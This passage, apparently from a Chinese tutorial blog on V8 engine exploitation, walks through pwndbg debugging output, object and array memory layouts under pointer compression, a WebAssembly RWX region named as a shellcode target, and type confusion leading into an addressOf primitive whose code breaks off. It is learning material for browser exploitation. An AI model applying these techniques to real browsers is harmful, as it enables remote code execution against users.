class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; c</span><br><span class="line">Continuing.</span><br><span class="line">DebugPrint: 0x2cfa081d370d: [Function] in OldSpace</span><br><span class="line"> - map: 0x2cfa08204919 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x2cfa081c3b4d &lt;JSFunction (sfi = 0x2cfa08144165)&gt;</span><br><span class="line"> - elements: 0x2cfa0800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - function prototype: &lt;no-prototype-slot&gt;</span><br><span class="line"> - shared_info: 0x2cfa081d36e9 &lt;SharedFunctionInfo js-to-wasm::i&gt;</span><br><span class="line"> - name: 0x2cfa080051cd &lt;String[1]: #0&gt;</span><br><span class="line"> - builtin: GenericJSToWasmWrapper</span><br><span class="line"> - formal_parameter_count: 0</span><br><span class="line"> - kind: NormalFunction</span><br><span class="line"> - context: 0x2cfa081c3649 &lt;NativeContext[252]&gt;</span><br><span class="line"> - code: 0x2cfa0000d801 &lt;Code BUILTIN GenericJSToWasmWrapper&gt;</span><br><span class="line"> - Wasm instance: 0x2cfa081d35b9 &lt;Instance map = 0x2cfa08207399&gt;</span><br><span class="line"> - Wasm function index: 0</span><br><span class="line"> - properties: 0x2cfa0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x2cfa080048f1: [String] in ReadOnlySpace: #length: 0x2cfa08142339 &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line">    0x2cfa08004a21: [String] in ReadOnlySpace: #name: 0x2cfa081422f5 &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line">    0x2cfa08004029: [String] in ReadOnlySpace: #arguments: 0x2cfa0814226d &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line">    0x2cfa08004245: [String] in ReadOnlySpace: #caller: 0x2cfa081422b1 &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line"> &#125;</span><br><span class="line"> - feedback vector: feedback metadata is not available in SFI</span><br><span class="line">0x2cfa08204919: [Map]</span><br><span class="line"> - type: JS_FUNCTION_TYPE</span><br><span class="line"> - instance size: 28</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: HOLEY_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - stable_map</span><br><span class="line"> - callable</span><br><span class="line"> - back pointer: 0x2cfa080023b5 &lt;undefined&gt;</span><br><span class="line"> - prototype_validity cell: 0x2cfa08142405 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors (own) #4: 0x2cfa081d0445 &lt;DescriptorArray[4]&gt;</span><br><span class="line"> - prototype: 0x2cfa081c3b4d &lt;JSFunction (sfi = 0x2cfa08144165)&gt;</span><br><span class="line"> - constructor: 0x2cfa08002235 &lt;null&gt;</span><br><span class="line"> - dependent code: 0x2cfa080021b9 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br><span class="line"></span><br><span class="line">DebugPrint: 0x2cfa081d35b9: [WasmInstanceObject] in OldSpace</span><br><span class="line"> - map: 0x2cfa08207399 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x2cfa08048065 &lt;Object map = 0x2cfa08207af1&gt;</span><br><span class="line"> - elements: 0x2cfa0800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - module_object: 0x2cfa08049ca9 &lt;Module map = 0x2cfa08207231&gt;</span><br><span class="line"> - exports_object: 0x2cfa08049e5d &lt;Object map = 0x2cfa08207bb9&gt;</span><br><span class="line"> - native_context: 0x2cfa081c3649 &lt;NativeContext[252]&gt;</span><br><span class="line"> - memory_object: 0x2cfa081d35a1 &lt;Memory map = 0x2cfa08207641&gt;</span><br><span class="line"> - table 0: 0x2cfa08049e2d &lt;Table map = 0x2cfa082074b1&gt;</span><br><span class="line"> - imported_function_refs: 0x2cfa0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - indirect_function_table_refs: 0x2cfa0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - managed_native_allocations: 0x2cfa08049de5 &lt;Foreign&gt;</span><br><span class="line"> - memory_start: 0x7fc4ec000000</span><br><span class="line"> - memory_size: 65536</span><br><span class="line"> - imported_function_targets: 0x563d8c4d3c60</span><br><span class="line"> - globals_start: (nil)</span><br><span class="line"> - imported_mutable_globals: 0x563d8c4d3d90</span><br><span class="line"> - indirect_function_table_size: 0</span><br><span class="line"> - indirect_function_table_sig_ids: (nil)</span><br><span class="line"> - indirect_function_table_targets: (nil)</span><br><span class="line"> - properties: 0x2cfa0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;&#125;</span><br><span class="line"></span><br><span class="line">0x2cfa08207399: [Map]</span><br><span class="line"> - type: WASM_INSTANCE_OBJECT_TYPE</span><br><span class="line"> - instance size: 240</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: HOLEY_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - stable_map</span><br><span class="line"> - back pointer: 0x2cfa080023b5 &lt;undefined&gt;</span><br><span class="line"> - prototype_validity cell: 0x2cfa08142405 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors (own) #0: 0x2cfa080021c1 &lt;Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)&gt;</span><br><span class="line"> - prototype: 0x2cfa08048065 &lt;Object map = 0x2cfa08207af1&gt;</span><br><span class="line"> - constructor: 0x2cfa081d242d &lt;JSFunction Instance (sfi = 0x2cfa081d2409)&gt;</span><br><span class="line"> - dependent code: 0x2cfa080021b9 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br></pre></td></tr></table></figure></div><p>可以看到<code>DebugPrint</code>打印出了f和WasmInstance的信息。可以使用job命令来查看对象信息，例如<code>job 0x2cfa081d370d</code></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x2cfa081d370d</span><br><span class="line">0x2cfa081d370d: [Function] in OldSpace</span><br><span class="line"> - map: 0x2cfa08204919 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x2cfa081c3b4d &lt;JSFunction (sfi = 0x2cfa08144165)&gt;</span><br><span class="line"> - elements: 0x2cfa0800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - function prototype: &lt;no-prototype-slot&gt;</span><br><span class="line"> - shared_info: 0x2cfa081d36e9 &lt;SharedFunctionInfo js-to-wasm::i&gt;</span><br><span class="line"> - name: 0x2cfa080051cd &lt;String[1]: #0&gt;</span><br><span class="line"> - builtin: GenericJSToWasmWrapper</span><br><span class="line"> - formal_parameter_count: 0</span><br><span class="line"> - kind: NormalFunction</span><br><span class="line"> - context: 0x2cfa081c3649 &lt;NativeContext[252]&gt;</span><br><span class="line"> - code: 0x2cfa0000d801 &lt;Code BUILTIN GenericJSToWasmWrapper&gt;</span><br><span class="line"> - Wasm instance: 0x2cfa081d35b9 &lt;Instance map = 0x2cfa08207399&gt;</span><br><span class="line"> - Wasm function index: 0</span><br><span class="line"> - properties: 0x2cfa0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x2cfa080048f1: [String] in ReadOnlySpace: #length: 0x2cfa08142339 &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line">    0x2cfa08004a21: [String] in ReadOnlySpace: #name: 0x2cfa081422f5 &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line">    0x2cfa08004029: [String] in ReadOnlySpace: #arguments: 0x2cfa0814226d &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line">    0x2cfa08004245: [String] in ReadOnlySpace: #caller: 0x2cfa081422b1 &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line"> &#125;</span><br><span class="line"> - feedback vector: feedback metadata is not available in SFI</span><br></pre></td></tr></table></figure></div><p>可以发现对象地址并没有4字节对齐，这是为了区分对象类型和数字类型（对象类型会将真实地址+1，而数字类型不变）。所以上述对象的真实地址应该<code>0x2cfa081d370d-1</code></p><blockquote><p>V8 储存数据时会让这些整数都乘以2，也包括数组的长度，因此当job认为该地址是一个数字类型时，会将其除以2之后当作原本的值。即将真实值左移1位后存储</p></blockquote><blockquote><p>这样来看的话，所有的数字类型都会是偶数，而所有的对象类型都会是奇数，这样似乎是方便了区分类型，避免将对象类型的地址当作数字类型输出（避免一些泄露🤔</p><p>顺带我还测试了<code>0x2cfa081d370c+2</code>和<code>0x2cfa081d370c+3</code>的情况，发现+2时job命令会输出数据值，+3时会报错，说明+2时识别为数字类型，+3时识别为对象类型，但由于其中地址有问题，导致输出不成功</p></blockquote><p>查看地址中的内存数据</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16wx 0x36d4081d370d-1</span><br><span class="line">0x36d4081d370c:0x082049190x0800222d0x0800222d0x081d36e9</span><br><span class="line">0x36d4081d371c:0x081c36490x0814244d0x0000d8010x080026c1</span><br><span class="line">0x36d4081d372c:0x000000080x000000000x000000020x0800528d</span><br><span class="line">0x36d4081d373c:0x08207bbb0x000000000x000000000x00000000</span><br></pre></td></tr></table></figure></div><p>可以发现，v8 对地址数据进行了压缩储存，由于高 32bit 的地址完全相同，每个地址只会存放其低 32bit 的数据</p><p>使用<code>vmmap</code>命令查看程序地址空间，可以发现一段可读可写可执行的内存。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x5c3bb72f000      0x5c3bb730000 rwxp     1000      0 [anon_5c3bb72f]</span><br></pre></td></tr></table></figure></div><p>因此，与我们平常的用户态pwn相同，我们的目的就是在这个内存段上写入shellcode并执行。但是在高版本WASM中，这个内存段不再可写了。</p><h2 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h2><p>测试代码</p><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//demo2.js</span></span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br><span class="line">a = [<span class="number">2.1</span>];</span><br><span class="line">b = &#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line">c = [b];</span><br><span class="line">d = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>];</span><br><span class="line">%<span class="title class_">DebugPrint</span>(a);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(b);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(c);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(d);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><h3 id="JSArray-a"><a href="#JSArray-a" class="headerlink" title="JSArray:a"></a>JSArray:a</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x3e81080499c1</span><br><span class="line">0x3e81080499c1: [JSArray]</span><br><span class="line"> - map: 0x3e8108203ae1 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3e81081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x3e81080499b1 &lt;FixedDoubleArray[1]&gt; [PACKED_DOUBLE_ELEMENTS]</span><br><span class="line"> - length: 1</span><br><span class="line"> - properties: 0x3e810800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x3e81080499b1 &lt;FixedDoubleArray[1]&gt; &#123;</span><br><span class="line">           0: 2.1</span><br><span class="line"> &#125;</span><br><span class="line">pwndbg&gt; x/16wx 0x3e81080499c1-1</span><br><span class="line">0x3e81080499c0:0x08203ae10x0800222d0x080499b10x00000002</span><br><span class="line">0x3e81080499d0:0x08207aa10x0800222d0x0800222d0x00000002</span><br><span class="line">0x3e81080499e0:0x08005c110x000100010x000000000x080021f9</span><br><span class="line">0x3e81080499f0:0x08007b150x000000840x000000020x08002205</span><br></pre></td></tr></table></figure></div><p>可以看出，一个JSArray的内存布局为（同时可以看到length被乘以2了</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |</span><br></pre></td></tr></table></figure></div><p>同时我们可以注意到<code>elements</code>结构体的位置正好在<code>&amp;Array-0x10</code>位置处，因此若elements结构体发生溢出，就可能覆盖到Array上的值</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">| 32bit map addr | 32bit length          | 64bit value                        |elements</span><br><span class="line">| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray</span><br></pre></td></tr></table></figure></div><h3 id="JS-OBJECT-TYPE-b"><a href="#JS-OBJECT-TYPE-b" class="headerlink" title="JS_OBJECT_TYPE:b"></a>JS_OBJECT_TYPE:b</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x3e81080499d1</span><br><span class="line">0x3e81080499d1: [JS_OBJECT_TYPE]</span><br><span class="line"> - map: 0x3e8108207aa1 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3e81081c41f5 &lt;Object map = 0x3e81082021b9&gt;</span><br><span class="line"> - elements: 0x3e810800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - properties: 0x3e810800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x3e8108007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object</span><br><span class="line"> &#125;</span><br><span class="line">pwndbg&gt; x/16wx 0x3e81080499d1-1</span><br><span class="line">0x3e81080499d0:0x08207aa10x0800222d0x0800222d0x00000002</span><br><span class="line">0x3e81080499e0:0x08005c110x000100010x000000000x080021f9</span><br><span class="line">0x3e81080499f0:0x08007b150x000000840x000000020x08002205</span><br><span class="line">0x3e8108049a00:0x000000020x080499d10x08203b310x0800222d</span><br></pre></td></tr></table></figure></div><p>大致内存结构为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |</span><br></pre></td></tr></table></figure></div><p>但elements与结构体不相邻，一般不可利用</p><h3 id="JSArray-c"><a href="#JSArray-c" class="headerlink" title="JSArray:c"></a>JSArray:c</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x3e8108049a09</span><br><span class="line">0x3e8108049a09: [JSArray]</span><br><span class="line"> - map: 0x3e8108203b31 &lt;Map(PACKED_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3e81081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x3e81080499fd &lt;FixedArray[1]&gt; [PACKED_ELEMENTS]</span><br><span class="line"> - length: 1</span><br><span class="line"> - properties: 0x3e810800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x3e81080499fd &lt;FixedArray[1]&gt; &#123;</span><br><span class="line">           0: 0x3e81080499d1 &lt;Object map = 0x3e8108207aa1&gt;</span><br><span class="line"> &#125;</span><br><span class="line">pwndbg&gt; x/16wx 0x3e8108049a09-1</span><br><span class="line">0x3e8108049a08:0x08203b310x0800222d0x080499fd0x00000002</span><br><span class="line">0x3e8108049a18:0x08203a410x0800222d0x081d31ed0x00000006</span><br><span class="line">0x3e8108049a28:0x000000000x000000000x000000000x00000000</span><br><span class="line">0x3e8108049a38:0x000000000x000000000x000000000x00000000</span><br><span class="line">pwndbg&gt; job 0x3e81080499fd</span><br><span class="line">0x3e81080499fd: [FixedArray]</span><br><span class="line"> - map: 0x3e8108002205 &lt;Map&gt;</span><br><span class="line"> - length: 1</span><br><span class="line">           0: 0x3e81080499d1 &lt;Object map = 0x3e8108207aa1&gt;</span><br><span class="line">pwndbg&gt; x/16wx 0x3e81080499fd-1</span><br><span class="line">0x3e81080499fc:0x080022050x000000020x080499d10x08203b31</span><br><span class="line">0x3e8108049a0c:0x0800222d0x080499fd0x000000020x08203a41</span><br><span class="line">0x3e8108049a1c:0x0800222d0x081d31ed0x000000060x00000000</span><br><span class="line">0x3e8108049a2c:0x000000000x000000000x000000000x00000000</span><br></pre></td></tr></table></figure></div><p>c和a内存布局基本相同，但因为c中存放的是一个地址，且由于地址压缩，c的elements中存放的value只有地址的32bit，但依然同JSArray相邻</p><h3 id="JSArray-d"><a href="#JSArray-d" class="headerlink" title="JSArray:d"></a>JSArray:d</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x3e8108049a19</span><br><span class="line">0x3e8108049a19: [JSArray]</span><br><span class="line"> - map: 0x3e8108203a41 &lt;Map(PACKED_SMI_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3e81081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x3e81081d31ed &lt;FixedArray[3]&gt; [PACKED_SMI_ELEMENTS (COW)]</span><br><span class="line"> - length: 3</span><br><span class="line"> - properties: 0x3e810800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;</span><br><span class="line">    0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d &lt;AccessorInfo&gt; (const accessor descriptor), location: descriptor</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x3e81081d31ed &lt;FixedArray[3]&gt; &#123;</span><br><span class="line">           0: 1</span><br><span class="line">           1: 2</span><br><span class="line">           2: 3</span><br><span class="line"> &#125;</span><br><span class="line">pwndbg&gt; x/16wx 0x3e8108049a19-1</span><br><span class="line">0x3e8108049a18:0x08203a410x0800222d0x081d31ed0x00000006</span><br><span class="line">0x3e8108049a28:0x000000000x000000000x000000000x00000000</span><br><span class="line">0x3e8108049a38:0x000000000x000000000x000000000x00000000</span><br><span class="line">0x3e8108049a48:0x000000000x000000000x000000000x00000000</span><br><span class="line">pwndbg&gt; job 0x3e81081d31ed</span><br><span class="line">0x3e81081d31ed: [FixedArray] in OldSpace</span><br><span class="line"> - map: 0x3e8108002531 &lt;Map&gt;</span><br><span class="line"> - length: 3</span><br><span class="line">           0: 1</span><br><span class="line">           1: 2</span><br><span class="line">           2: 3</span><br><span class="line">pwndbg&gt; x/16wx 0x3e81081d31ed-1</span><br><span class="line">0x3e81081d31ec:0x080025310x000000060x000000020x00000004</span><br><span class="line">0x3e81081d31fc:0x000000060x080032590x000000000x081d31ed</span><br><span class="line">0x3e81081d320c:0x080022050x000000100x081d31c90x08007b15</span><br><span class="line">0x3e81081d321c:0x081d31a10x08007bb10x081d31e10x081d3119</span><br></pre></td></tr></table></figure></div><p>可以看到整数数组中的elements不再与结构体相邻，因此在溢出的时候往往需要用浮点数去溢出，而不能直接用整数数据溢出</p><h2 id="类型混淆"><a href="#类型混淆" class="headerlink" title="类型混淆"></a>类型混淆</h2><p>a、c、d变量均为JSArray，那么肯定还需要存储其中变量的数据类型，读取a、d数组的map结构体：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x086f08203ae1</span><br><span class="line">0x86f08203ae1: [Map]</span><br><span class="line"> - type: JS_ARRAY_TYPE</span><br><span class="line"> - instance size: 16</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: PACKED_DOUBLE_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - back pointer: 0x086f08203ab9 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;</span><br><span class="line"> - prototype_validity cell: 0x086f08142405 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors #1: 0x086f081cc59d &lt;DescriptorArray[1]&gt;</span><br><span class="line"> - transitions #1: 0x086f081cc5e9 &lt;TransitionArray[4]&gt;Transition array #1:</span><br><span class="line">     0x086f0800524d &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&gt; 0x086f08203b09 &lt;Map(HOLEY_DOUBLE_ELEMENTS)&gt;</span><br><span class="line"></span><br><span class="line"> - prototype: 0x086f081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - constructor: 0x086f081cbe85 &lt;JSFunction Array (sfi = 0x86f0814adc9)&gt;</span><br><span class="line"> - dependent code: 0x086f080021b9 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br><span class="line"></span><br><span class="line">pwndbg&gt; job 0x086f08203a41</span><br><span class="line">0x86f08203a41: [Map]</span><br><span class="line"> - type: JS_ARRAY_TYPE</span><br><span class="line"> - instance size: 16</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: PACKED_SMI_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - back pointer: 0x086f080023b5 &lt;undefined&gt;</span><br><span class="line"> - prototype_validity cell: 0x086f08142405 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors #1: 0x086f081cc59d &lt;DescriptorArray[1]&gt;</span><br><span class="line"> - transitions #1: 0x086f081cc5b9 &lt;TransitionArray[4]&gt;Transition array #1:</span><br><span class="line">     0x086f0800524d &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_SMI_ELEMENTS) -&gt; 0x086f08203ab9 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;</span><br><span class="line"></span><br><span class="line"> - prototype: 0x086f081cc0e9 &lt;JSArray[0]&gt;</span><br><span class="line"> - constructor: 0x086f081cbe85 &lt;JSFunction Array (sfi = 0x86f0814adc9)&gt;</span><br><span class="line"> - dependent code: 0x086f080021b9 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br></pre></td></tr></table></figure></div><p>注意到<code>elements kind</code>成员用来标注<code>elements</code>类型</p><p>因此如果我们可以将一个变量的map地址赋给另一个变量，就可以错误地解析数据类型，即“类型混淆”。例如，考虑代码</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">float_arr= [<span class="number">2.1</span>];</span><br><span class="line">obj_arr=[float_arr];</span><br><span class="line">%<span class="title class_">DebugPrint</span>(a);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(b);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p><code>obj_arr</code>是一个对象，其中存储着<code>float_arr</code>对象，因此访问<code>obj_arr[0]</code>会得到一个对象，而如果将一个浮点数数组的map赋给<code>obj_arr</code>的map，那么就会将<code>obj_arr</code>错误地解析为浮点数数组，进而访问<code>obj_arr[0]</code>时就会得到<code>float_arr</code>对象地址。（如果是C&#x2F;C++那样的面向过程语言，可以直接取地址，但是对于JAVA、JS这类语言来说，直接获取地址是不被允许的。）</p><h2 id="任意地址读"><a href="#任意地址读" class="headerlink" title="任意地址读"></a>任意地址读</h2><p>JS不允许我们直接读出地址，但我们可以利用类型混淆来读出。</p><h3 id="addressOf"><a href="#addressOf" class="headerlink" title="addressOf"></a>addressOf</h3><p>使用类型混淆读取地址的方法</p><p>一般写法为：</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//获取某个变量的地址</span></span><br><span class="line"><span class="keyword">var</span> other=&#123;<span class="string">&quot;a&quot;</span>:<span 